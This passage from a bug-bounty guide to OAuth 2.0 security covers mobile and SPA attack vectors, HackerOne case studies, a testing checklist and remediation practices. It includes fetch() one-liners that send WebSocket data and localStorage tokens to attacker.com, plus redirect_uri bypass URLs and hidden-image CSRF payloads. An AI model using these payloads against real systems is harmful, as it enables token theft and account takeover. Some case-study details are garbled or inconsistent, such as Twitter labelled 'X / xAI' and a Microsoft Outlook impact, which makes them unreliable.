4. **Exploitation**: `javascript var ws = new WebSocket('wss://target-app.com/oauth-socket'); ws.onmessage = function(event) { fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data)); };`

5. **Impact**: Stealing OAuth tokens or sensitive data transmitted over WebSockets

OAuth for Mobile Applications

Mobile OAuth implementations have unique vulnerabilities that differ from web applications.

Custom URL Scheme Hijacking

1. **Identification**:
2. Identify custom URL schemes used for OAuth callbacks

3. Check if multiple apps can register for the same URL scheme

4. **Exploitation**:

5. Create a malicious app that registers for the same URL scheme
6. When the OAuth flow redirects to the custom URL scheme, your app might receive the authorization code

7. Use the intercepted code to gain unauthorized access

8. **Prevention**: Implement PKCE (Proof Key for Code Exchange) to mitigate this risk

App-to-App Authentication Vulnerabilities

1. **Identification**:

2. Analyze how mobile apps handle OAuth authentication

3. Check for insecure data storage or transmission

4. **Exploitation**:

5. Intercept deep links containing OAuth tokens
6. Extract tokens from shared storage or clipboard

7. Perform man-in-the-middle attacks on non-pinned connections

8. **Impact**: Unauthorized access to user accounts and data

OAuth for Single-Page Applications (SPAs)

SPAs have specific OAuth security challenges due to their client-side nature.

Token Storage Vulnerabilities

1. **Identification**:
2. Check how tokens are stored (localStorage, sessionStorage, cookies)

3. Analyze token lifetime and refresh mechanisms

4. **Exploitation**:

5. XSS attacks to steal tokens from client-side storage
6. CSRF attacks if tokens are stored in non-HttpOnly cookies

7. Session fixation if token binding is weak

8. **Impact**: Unauthorized access to user accounts and data

Cross-Origin Issues

1. **Identification**:
2. Check CORS configurations related to OAuth endpoints

3. Analyze how the SPA handles cross-origin requests with tokens

4. **Exploitation**:

5. Exploit misconfigured CORS to make cross-origin requests with stolen tokens

6. Use postMessage vulnerabilities to intercept token-related messages

7. **Impact**: Token theft leading to account compromise

Advanced Bug Bounty Techniques for OAuth

This section provides specialized techniques for bug bounty hunters to maximize their success with OAuth vulnerabilities.

Chaining Vulnerabilities for Maximum Impact

1. Combine redirect_uri manipulation with XSS for token theft
2. Chain CSRF with weak state validation for account takeover
3. Exploit open redirectors with OAuth flows for authorization code theft

Bypassing Security Measures

1. **Bypassing Strict redirect_uri Validation**:
2. Test for path traversal in subdirectories
3. Look for case sensitivity issues

4. Check for URL normalization differences

5. **Bypassing CORS Protections**:

6. Test for misconfigured CORS headers

7. Look for JSONP endpoints that might leak tokens

8. **Bypassing Rate Limiting**:

9. Use different IP addresses or user agents
10. Distribute requests over time
11. Manipulate request parameters to avoid detection

Reporting Tips for Maximum Bounty

1. **Clear Impact Demonstration**:
2. Show the full attack chain from vulnerability to account compromise
3. Demonstrate data access capabilities (without actually accessing sensitive data)

4. Explain the potential for large-scale exploitation

5. **Quality Report Writing**:

6. Provide clear, step-by-step reproduction instructions
7. Include screenshots and videos where appropriate

8. Suggest effective remediation strategies

9. **Responsible Disclosure**:

10. Follow the program's disclosure guidelines
11. Avoid accessing unnecessary data during testing
12. Be available for questions during the fix verification process

References

1. Doyensec. (2025, January 30). Common OAuth Vulnerabilities. https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
2. TECNO Security. (2024, October 29). Hacking your first OAuth on the Web application: Account takeover using Redirect and State parameter. https://medium.com/@security.tecno/hacking-your-first-oauth-on-the-web-application-account-takeover-using-redirect-and-state-5e857c7b1d43
3. PortSwigger. (n.d.). OAuth 2.0 authentication vulnerabilities. Web Security Academy. https://portswigger.net/web-security/oauth
4. Gairola, R. (2025, March 11). One Token, Two Apps: The OAuth Flaw That Can Compromise Your Accounts. https://medium.com/@rahulgairola/one-token-two-apps-the-oauth-flaw-that-can-compromise-your-accounts-a-silent-security-disaster-31cff04dcceb
5. Praetorian. (2021, March 16). Attacking and Defending OAuth 2.0. https://www.praetorian.com/blog/attacking-and-defending-oauth-2/
6. Salt Security. (2023, October 24). Oh Auth: Abusing OAuth to Take Over Millions of Accounts. https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts
7. Permiso. (2024, August 15). Strategies Used by Adversaries to Steal Application Access Tokens. https://permiso.io/blog/strategies-used-by-adversaries-to-steal-application-access-tokens
8. HackTricks. (n.d.). OAuth to Account takeover. https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
9. Netskope. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows. https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authentication-flows-part-2

Real-World OAuth 2.0 Bug Bounty Case Studies

Introduction

This section presents a collection of real-world OAuth 2.0 vulnerabilities discovered through bug bounty programs. Each case study includes detailed information about the vulnerability, exploitation techniques, impact, and lessons learned. These examples demonstrate how theoretical OAuth 2.0 vulnerabilities manifest in production environments and provide practical insights for bug bounty hunters.

Case Study 1: Stealing OAuth Tokens via Redirect URI Parameter

Program: GSA Bounty (U.S. General Services Administration)
Report: HackerOne #665651
Severity: High (7.0 - 8.9)
Bounty: $750
Disclosure Date: October 1, 2019

Vulnerability Details

The OAuth authorization endpoint at `https://login.fr.cloud.gov/oauth/authorize` was vulnerable to an open redirect attack due to insufficient validation of the `redirect_uri` parameter. This allowed an attacker to specify an arbitrary domain as the redirect destination, causing the OAuth access token to be sent to an attacker-controlled server.

Exploitation Method

1. The attacker crafted a malicious OAuth authorization URL with a modified `redirect_uri` parameter pointing to their controlled domain: `https://login.fr.cloud.gov/oauth/authorize?client_id=[REDACTED]&response_type=token&redirect_uri=https%3A%2F%2Fevi`
2. When a victim clicked on this link and authenticated with their .gov account, they would be redirected to the attacker's domain (`evil.com`) with the access token included in the URL.

3. The attacker could then capture this token and use it to access the victim's resources or take over their account.

Impact

This vulnerability allowed complete account takeover, as the attacker could use the stolen OAuth token to access the victim's account and all associated resources. For a government platform, this represented a significant security risk with potential access to sensitive government data.

Lessons Learned

1. OAuth providers must implement strict validation of `redirect_uri` parameters, ensuring they match pre-registered URIs exactly.
2. Whitelisting approaches are safer than blacklisting or partial matching.
3. The implicit flow (which returns tokens directly in the URL) is particularly risky when redirect validation is weak.

Case Study 2: OAuth Token Theft via Open Redirector

Program: X / xAI (formerly Twitter)
Report: HackerOne #131202
Severity: Critical
Bounty: $840
Disclosure Date: July 11, 2016

Vulnerability Details

Twitter's OAuth implementation was vulnerable to token theft due to a misconfiguration in the redirect URI validation. The OAuth service accepted URLs that matched certain patterns but didn't properly validate the full redirect destination, allowing attackers to chain this with an open redirector.

Exploitation Method

1. The researcher identified that Twitter's OAuth implementation accepted various URL patterns as valid redirect URIs: `http://twitter.com http://anything.twitter.com https://twitter.com https://anything.twitter.com/path?anything`

2. The researcher discovered that Twitter's cards feature contained an open redirector: `https://cards.twitter.com/cards/18ce53y6aap/yms` which redirected to arbitrary domains.

3. By combining these issues, the attacker could craft a URL that passed Twitter's redirect_uri validation but ultimately redirected the OAuth token to an attacker-controlled domain: `https://cards.twitter.com/cards/18ce53y6aap/yms%2523`

4. The attacker could then extract the token using JavaScript: `javascript location.hash`

Impact

This vulnerability allowed attackers to steal OAuth tokens from users who clicked on malicious links, leading to account takeover. Since this affected Microsoft Outlook authentication integration, it potentially exposed users' email accounts and contacts.

Lessons Learned

1. Open redirectors within a domain can undermine OAuth security even when redirect_uri validation appears strict.
2. URL fragments and encoding can be used to bypass seemingly secure validation mechanisms.
3. OAuth providers should implement additional security measures beyond redirect_uri validation, such as PKCE.

Case Study 3: Pre-Account Takeover via Misconfigured OAuth

Program: Bumble (Badoo)
Report: HackerOne #1074047
Severity: Low (0.1 - 3.9)
Bounty: Undisclosed
Disclosure Date: March 18, 2021

Vulnerability Details

Badoo's authentication system had a critical flaw in how it handled account creation and OAuth authentication. The platform allowed users to register using either email or OAuth providers (Google, MSN, VKontakte, etc.). However, the system failed to properly verify if an email address used in traditional registration was already associated with an OAuth account.

Exploitation Method

1. An attacker would register a new account using a victim's email address through the traditional email registration process.

2. The registration process would require email verification, which the attacker couldn't complete since they didn't have access to the victim's email.

3. Later, when the victim attempted to log in using OAuth (e.g., "Login with Google") with the same email address, the system would bypass the verification process and link the OAuth login to the unverified account created by the attacker.

4. This allowed the attacker to log in using the password they set during the initial registration, effectively taking over the victim's account.

Impact

This vulnerability allowed attackers to pre-emptively take over accounts of users who hadn't yet registered but might later use OAuth authentication. The only information needed was the victim's email address, which is often publicly available or easily guessable.

Lessons Learned

1. Authentication systems must verify email ownership before allowing account creation, regardless of the registration method.
2. OAuth implementations should check if an email is already associated with an account and handle conflicts appropriately.
3. Systems should not merge unverified accounts with OAuth-authenticated sessions without explicit user confirmation.

Case Study 4: Indefinite Validity of OAuth Authorization Codes

Program: Nextcloud
Report: HackerOne #1784162
Severity: Low (3.0)
Bounty: $100

CVE: CVE-2024-22403
Disclosure Date: February 17, 2024

Vulnerability Details

Nextcloud's OAuth2 implementation did not set an expiration time for authorization codes. According to the OAuth 2.0 specification (RFC 6749, Section 4.1.2), authorization codes should be short-lived and valid for a maximum of 10 minutes. However, in Nextcloud's implementation, these codes remained valid indefinitely.

Exploitation Method

1. An attacker would initiate an OAuth flow and obtain an authorization code.
2. Instead of immediately exchanging this code for an access token, the attacker could store it for an extended period.
3. At any point in the future, the attacker could use this code to obtain a valid access token, potentially long after the user had revoked access or changed permissions.

Impact

This vulnerability allowed attackers to maintain persistent access to user accounts even after users believed they had revoked access. It also increased the risk from leaked or stolen authorization codes, as they remained valuable targets indefinitely rather than becoming useless after a short time window.

Lessons Learned

1. OAuth implementations must strictly follow the specification regarding token and code lifetimes.
2. Authorization codes should always have a short expiration time (10 minutes or less).
3. Security through proper timeout implementation is a critical aspect of OAuth security.

Case Study 5: OAuth Account Takeover via Path Traversal in Redirect URI

Program: pixiv
Report: HackerOne #1861974
Disclosure Date: Not specified

Vulnerability Details

The pixiv platform had a vulnerability in its OAuth implementation where the `redirect_uri` parameter was susceptible to path traversal attacks. This allowed attackers to redirect the OAuth flow to attacker-controlled pages while still passing the domain validation checks.

Exploitation Method

1. The attacker identified that pixiv's OAuth implementation validated only the domain portion of the redirect URI.
2. By using path traversal sequences in the redirect URI, the attacker could make the authorization code be sent to a different destination than intended: `https://legitimate-domain.com/path/../attacker-controlled-page`
3. The attacker could create a product page on the platform and use path traversal to redirect the OAuth flow to this page.
4. When a victim completed the OAuth flow, their authorization code would be sent to the attacker's page.

Impact

This vulnerability allowed attackers to steal OAuth authorization codes from users, leading to account takeover. Since pixiv is an art-sharing platform with premium content and personal user galleries, this represented a significant privacy and security risk.

Lessons Learned

1. OAuth providers must validate the entire redirect URI, not just the domain portion.
2. Path traversal protection should be implemented in all security-critical parameters.
3. User-generated content areas within the same domain can become dangerous redirect targets if not properly isolated from authentication flows.

Case Study 6: OAuth Misconfiguration Leading to Account Takeover

Program: Undisclosed
Report: HackerOne #1212374
Disclosure Date: Not fully disclosed

Vulnerability Details

This report involved an OAuth misconfiguration that allowed account takeover. While the full details are not publicly disclosed, the vulnerability appears to have been related to improper validation or handling of OAuth tokens or authorization codes.

Exploitation Method

The specific exploitation method is not fully disclosed, but based on the title and available information, it likely involved one of the following:

1. Weak validation of OAuth tokens allowing token forgery or manipulation
2. Improper handling of state parameters enabling CSRF attacks
3. Insecure token storage or transmission exposing tokens to theft

Impact

The vulnerability allowed complete account takeover, giving attackers unauthorized access to user accounts and all associated data and functionality.

Lessons Learned

1. OAuth implementations require thorough security review and testing.
2. Following OAuth security best practices is essential for preventing common attack vectors.
3. Regular security assessments should include OAuth-specific test cases.

Case Study 7: OAUTH2 Bearer Token Bypass in Connection Reuse

Program: curl Project
Report: HackerOne #1552110
Disclosure Date: April 27, 2022

Vulnerability Details

The curl library had a vulnerability where it might reuse OAUTH2-authenticated connections without properly including the OAuth bearer token in subsequent requests. This occurred when a connection was established with OAuth authentication, and then reused for a request that didn't explicitly specify the OAuth token.

Exploitation Method

1. An application using curl would establish a connection with OAuth authentication.
2. The connection would be kept alive for reuse.
3. A subsequent request would be made without explicitly setting the OAuth token.
4. curl would reuse the connection but fail to include the OAuth token in the new request.
5. This could lead to authentication bypass or information leakage.

Impact

This vulnerability could lead to unauthorized access to protected resources or information leakage. Since curl is widely used in many applications and systems, the potential impact was significant, affecting any application that relied on curl for OAuth-authenticated API calls.

Lessons Learned

1. Libraries implementing OAuth must ensure authentication headers are properly maintained across connection reuse.
2. OAuth token handling should be consistent and secure throughout the entire request lifecycle.
3. Connection pooling and reuse mechanisms need special attention when implementing authentication protocols.

Patterns and Trends in OAuth Bug Bounty Findings

After analyzing these and other OAuth-related bug bounty reports, several patterns emerge:

Common Vulnerability Types

1. **Redirect URI Validation Issues**: The most frequently reported OAuth vulnerabilities involve insufficient validation of redirect URIs, allowing attackers to steal tokens or authorization codes.

2. **Missing or Weak State Parameters**: Many reports highlight the absence or improper implementation of state parameters, leading to CSRF vulnerabilities.

3. **Token Handling Flaws**: Improper storage, transmission, or validation of OAuth tokens is a recurring issue.

4. **Account Linking Vulnerabilities**: Problems in how OAuth accounts are linked to existing accounts frequently lead to account takeover scenarios.

5. **Implementation Deviations**: Failing to follow the OAuth specification (like improper timeout implementation) creates security gaps.

Highest Impact Vulnerabilities

The OAuth vulnerabilities that typically receive the highest bounties are:

1. **Complete Account Takeover**: Vulnerabilities that allow attackers to gain full control of user accounts.

2. **Token Theft at Scale**: Issues that enable the theft of OAuth tokens from multiple users simultaneously.

3. **Persistent Access**: Vulnerabilities that allow attackers to maintain access even after users attempt to revoke it.

4. **Authentication Bypass**: Flaws that allow bypassing OAuth authentication entirely.

Bug Bounty Reporting Tips

Based on successful reports, here are tips for bug bounty hunters focusing on OAuth:

1. **Provide Clear Reproduction Steps**: Successful reports include detailed, step-by-step instructions for reproducing the vulnerability.

2. **Demonstrate Real Impact**: Reports that clearly demonstrate the practical impact of the vulnerability (e.g., showing how it leads to account takeover) receive more attention and higher bounties.

3. **Include Technical Context**: Referencing relevant sections of the OAuth specification helps program owners understand why the finding is a deviation from secure practices.

4. **Suggest Remediation**: Providing concrete suggestions for fixing the vulnerability adds value to the report.

5. **Responsible Disclosure**: Following the program's disclosure guidelines and being responsive to questions enhances the reporting experience.

References

1. HackerOne Report #665651 - "Stealing Users OAuth Tokens through redirect_uri parameter" - https://hackerone.com/reports/665651
2. HackerOne Report #131202 - "[Critical] - Steal OAuth Tokens" - https://hackerone.com/reports/131202
3. HackerOne Report #1074047 - "Misconfigured oauth leads to Pre account takeover" - https://hackerone.com/reports/1074047
4. HackerOne Report #1784162 - "OAuth2 'authorization_code' is valid indefinetly" - https://hackerone.com/reports/1784162
5. HackerOne Report #1861974 - "Stealing Users OAuth authorization code via redirect_uri" - https://hackerone.com/reports/1861974
6. HackerOne Report #1212374 - "Oauth Misconfiguration Lead To Account Takeover" - https://hackerone.com/reports/1212374
7. HackerOne Report #1552110 - "OAUTH2 bearer not-checked for connection re-use" - https://hackerone.com/reports/1552110

OAuth 2.0 Bug Bounty Hunter's Checklist and Guidelines

Introduction

This comprehensive checklist and set of guidelines is designed specifically for bug bounty hunters looking to identify, exploit, and report OAuth 2.0 vulnerabilities. It combines best practices from security researchers, real-world bug bounty reports, and industry standards to provide a systematic approach to testing OAuth implementations.

Pre-Testing Preparation

Reconnaissance and Information Gathering

- [ ] Identify all OAuth endpoints used by the target application
- Authorization endpoint

- Token endpoint
- Redirect URIs

- User info endpoints

- [ ] Determine which OAuth flows are implemented

- Authorization Code Grant
- Implicit Grant
- Resource Owner Password Credentials
- Client Credentials
- Device Authorization Flow

- Authorization Code with PKCE

- [ ] Identify OAuth providers in use

- First-party (custom implementation)

- Third-party (Google, Facebook, Microsoft, etc.)

- [ ] Map out the complete authentication flow

- Capture all requests and responses
- Note all parameters and their values

- Identify token storage mechanisms (cookies, localStorage, etc.)

- [ ] Gather client information

- Client IDs
- Client secrets (if exposed)
- Registered redirect URIs

Vulnerability Testing Checklist

1. Redirect URI Validation Issues

- [ ] Test for partial validation bypasses
- [ ] Try adding paths: `https://legitimate-domain.com/callback/../../attacker.com`
- [ ] Test subdomain confusion: `https://attacker-controlled.legitimate-domain.com`

- [ ] Test domain suffix confusion: `https://legitimate-domain.com.attacker.com`
- [ ] Test for URL parsing inconsistencies
- [ ] Try using different URL encoding schemes: `https://legitimate-domain.com%252f%252fattacker.com`
- [ ] Test with URL fragments: `https://legitimate-domain.com#@attacker.com`
- [ ] Test with special characters: `https://legitimate-domain.com%00.attacker.com`
- [ ] Test for open redirectors that can be chained
- [ ] Look for redirect parameters: `https://legitimate-domain.com/redirect?url=https://attacker.com`
- [ ] Test path-based redirects: `https://legitimate-domain.com/callback/../../redirect?url=https://attacker.com`
- [ ] Test for wildcard validation
- [ ] If `*.legitimate-domain.com` is allowed, try registering a subdomain
- [ ] If validation is based on string prefix, try `legitimate-domain.com.attacker.com`

2. State Parameter Vulnerabilities

- [ ] Check if the state parameter is implemented
- [ ] If missing, test for CSRF attacks on the OAuth flow
- [ ] Test state parameter validation
- [ ] Try replaying a valid state parameter
- [ ] Try using a null or empty state parameter
- [ ] Try using a predictable state parameter
- [ ] Test for CSRF in the absence of state validation
- [ ] Create a PoC that forces a victim's browser to complete an OAuth flow with your authorization code

3. Token Handling Vulnerabilities

- [ ] Test for token leakage
- [ ] Check if tokens are included in URL fragments
- [ ] Check if tokens are logged in server logs or error messages

- [ ] Check if tokens are sent in Referer headers to third-party sites

- [ ] Test token validation

- [ ] Try using expired tokens
- [ ] Try manipulating JWT tokens (if used)

- [ ] Try using tokens across different client applications

- [ ] Test token storage

- [ ] Check if tokens are stored insecurely (localStorage, sessionStorage)
- [ ] Look for XSS vulnerabilities that could expose tokens

4. Authorization Code Vulnerabilities

- [ ] Test code reuse
- [ ] Try using the same authorization code multiple times

- [ ] Check if codes expire appropriately (should be short-lived)

- [ ] Test code validation

- [ ] Try using codes across different client applications

- [ ] Try brute-forcing authorization codes

- [ ] Test for PKCE implementation issues

- [ ] Check if PKCE is implemented for mobile/SPA applications
- [ ] If implemented, test with missing or modified code_verifier
- [ ] Check if the S256 method is enforced (vs. plain)

5. Client Authentication Issues

- [ ] Test client secret exposure
- [ ] Check if client secrets are exposed in JavaScript code

- [ ] Check if client secrets are exposed in mobile app binaries

- [ ] Test client ID validation

- [ ] Try using different client IDs with the same redirect URI
- [ ] Try using a client ID from a different application

6. Scope-Related Vulnerabilities

- [ ] Test scope validation
- [ ] Try modifying the scope parameter to request additional permissions
- [ ] Check if the application validates the returned scope matches the requested scope
- [ ] Test for scope escalation
- [ ] Try adding sensitive scopes to authorization requests
- [ ] Check if the application enforces scope restrictions properly

7. Account Takeover Vectors

- [ ] Test for pre-account linking vulnerabilities
- [ ] Register an account with a victim's email but don't verify it
- [ ] Test if OAuth login with the same email links to the unverified account
- [ ] Test for account linking/unlinking issues
- [ ] Check if linking a new OAuth provider requires re-authentication
- [ ] Test if unlinking an OAuth provider creates authentication bypass opportunities
- [ ] Test for OAuth account hijacking
- [ ] Check if the same OAuth identity can be linked to multiple accounts
- [ ] Test if OAuth identifiers (email, user ID) are properly validated

8. Implementation-Specific Vulnerabilities

- [ ] Test for JWT vulnerabilities (if JWTs are used)
- [ ] Try the "none" algorithm attack
- [ ] Test for weak signature validation
- [ ] Check for JWT header/payload confusion
- [ ] Test for OAuth server-specific issues
- [ ] Research known vulnerabilities in the specific OAuth provider
- [ ] Test for provider-specific implementation flaws

Exploitation Techniques

Redirect URI Manipulation

1. **Basic Redirect URI Manipulation** `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.com&response_type=code`

2. **Path Traversal in Redirect URI** `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://legitimate-app.com/callback/../../../attacker.com`

3. **Subdomain Takeover** `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://subdomain.legitimate-app.com` (Where subdomain is vulnerable to takeover)

4. **Open Redirector Chaining** `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://legitimate-app.com/redirect?url=https://attacker.com`

CSRF Attacks

1. **Basic CSRF Attack (Missing State Parameter)** `html <img src="https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://legitimate-app.com/callback&response_type=code" style="display:none">`

2. **Account Linking CSRF** `html <img src="https://app.com/link-account?provider=google" style="display:none">`

Token Theft

1. **XSS to Steal Tokens** `javascript fetch('https://attacker.com/steal?token=' + localStorage.getItem('oauth_token'));`

2. **Referer Header Leakage** `html <a href="https://attacker.com">Click here</a>` (Placed on a page that has the token in the URL)

3. **Malicious OAuth Application**

4. Register a malicious OAuth application with a deceptive name
5. Trick users into authorizing it

6. Use the granted tokens to access user data

Reporting Guidelines

Report Structure

1. **Title**: Clear, concise description of the vulnerability

2. Example: "OAuth 2.0 Account Takeover via Redirect URI Validation Bypass"

3. **Severity**: Assess impact using CVSS or the program's severity guidelines

4. Consider factors like:

    - Does it lead to account takeover?
    - How much user interaction is required?
    - What is the potential scope of the attack?

5. **Description**: Brief overview of the vulnerability

6. What OAuth component is vulnerable
7. How it deviates from secure implementation

8. Reference relevant OAuth specifications or best practices

9. **Steps to Reproduce**: Detailed, step-by-step instructions

10. Include all request/response details
11. Provide clear parameters and values

12. Include screenshots where helpful

13. **Proof of Concept**: Working demonstration

14. HTML files for CSRF attacks
15. Scripts for token theft

16. Video demonstration for complex exploits

17. **Impact**: Detailed explanation of the security implications

18. What an attacker could access or do
19. How many users could be affected

20. Potential business impact

21. **Remediation**: Suggested fixes
22. Reference OAuth best practices
23. Provide code examples when possible
24. Suggest configuration changes

Tips for Maximum Bounty

1. **Chain Vulnerabilities**: Demonstrate how multiple issues can be combined
2. Example: Redirect URI bypass + XSS = token theft and account takeover
3. **Show Real Impact**: Don't just describe theoretical issues
4. Demonstrate actual account access (with your own test accounts)
5. Show how sensitive data could be accessed
6. **Provide Context**: Explain why the vulnerability matters
7. Reference similar vulnerabilities in other bug bounty programs
8. Cite CVEs or security advisories for similar issues
9. **Be Responsible**: Follow ethical guidelines
10. Don't access other users' data
11. Don't perform DoS attacks
12. Respect the program's scope and rules

OAuth 2.0 Security Best Practices Reference

For Authorization Code Flow

1. **Implement PKCE** (RFC 7636)
2. Use the S256 challenge method
3. Generate cryptographically secure code_verifier
4. Validate code_verifier server-side
5. **Secure Redirect URIs**
6. Use exact matching, not prefix matching
7. Register complete URIs, not just domains
8. Use HTTPS for all redirect URIs

9. **Implement State Parameter**

10. Generate cryptographically secure state values
11. Bind state to the user's session

12. Validate state parameter on return

13. **Secure Authorization Codes**

14. Make codes short-lived (max 10 minutes)
15. Single-use only
16. Bind codes to specific clients and redirect URIs

For Token Handling

1. **Secure Token Storage**
2. Use HttpOnly, Secure cookies for web applications
3. Use secure storage for mobile applications

4. Never store in localStorage or sessionStorage for SPAs

5. **Token Validation**

6. Validate all tokens server-side
7. Check expiration, signature, and issuer

8. Validate audience and scope

9. **Token Expiration**

10. Short lifetime for access tokens (1 hour or less)
11. Reasonable lifetime for refresh tokens
12. Implement token revocation

For Client Applications

1. **Secure Client Authentication**
2. Use client_secret for confidential clients
3. Use PKCE for public clients

4. Never expose client_secret in public clients

5. **Scope Management**

6. Request minimal necessary scopes
7. Validate granted scopes match requested scopes

8. Enforce scope restrictions in the application

9. **Error Handling**

10. Don't expose sensitive information in error messages
11. Implement proper logging without exposing tokens
12. Handle errors gracefully without revealing implementation details

Tools for OAuth Testing

Proxy and Interception Tools

- Burp Suite (Professional or Community)
- OWASP ZAP
- Mitmproxy

OAuth-Specific Tools

- OAuth 2.0 Playground (Google)
- Postman OAuth 2.0 features
- JWT.io for JWT analysis

Custom Scripts

- Token brute-forcing scripts
- Redirect URI fuzzing tools
- State parameter analysis tools

References

1. OAuth 2.0 Security Best Practices (RFC 8252)
2. OAuth 2.0 for Browser-Based Apps (RFC 8252)
3. OAuth 2.0 Security Cheat Sheet (OWASP)
4. OAuth 2.0 Threat Model and Security Considerations (RFC 6819)
5. OAuth 2.1 Draft Specification
6. Proof Key for Code Exchange (PKCE) (RFC 7636)
7. JSON Web Token Best Practices (RFC 8725)
8. OAuth Security Workshop Resources
9. PortSwigger Web Security Academy - OAuth 2.0 vulnerabilities
10. HackerOne Disclosed Reports on OAuth 2.0 vulnerabilities

Conclusion

OAuth 2.0 has become the industry standard for authorization, but its complexity and flexibility make it prone to implementation vulnerabilities. As a bug bounty hunter, focusing on OAuth 2.0 can be highly rewarding due to the critical nature of these vulnerabilities and their potential impact on user security.

This comprehensive research document has covered the fundamentals of OAuth 2.0, common implementation vulnerabilities, detailed attack vectors and exploitation methods, real-world case studies from bug bounty programs, and practical guidelines for testing and reporting OAuth 2.0 vulnerabilities.

By understanding the OAuth 2.0 protocol in depth and systematically testing for the vulnerabilities outlined in this document, you can significantly increase your chances of finding high-impact security issues that lead to substantial bug bounty rewards.

Remember that responsible disclosure is paramount. Always follow the program's guidelines, avoid accessing sensitive data, and provide clear, actionable reports that help organizations improve their security posture.

As OAuth continues to evolve with new specifications like OAuth 2.1 and additional security measures like PKCE becoming standard, staying updated with the latest developments in OAuth security will be essential for continued success in bug bounty hunting.

Happy hunting!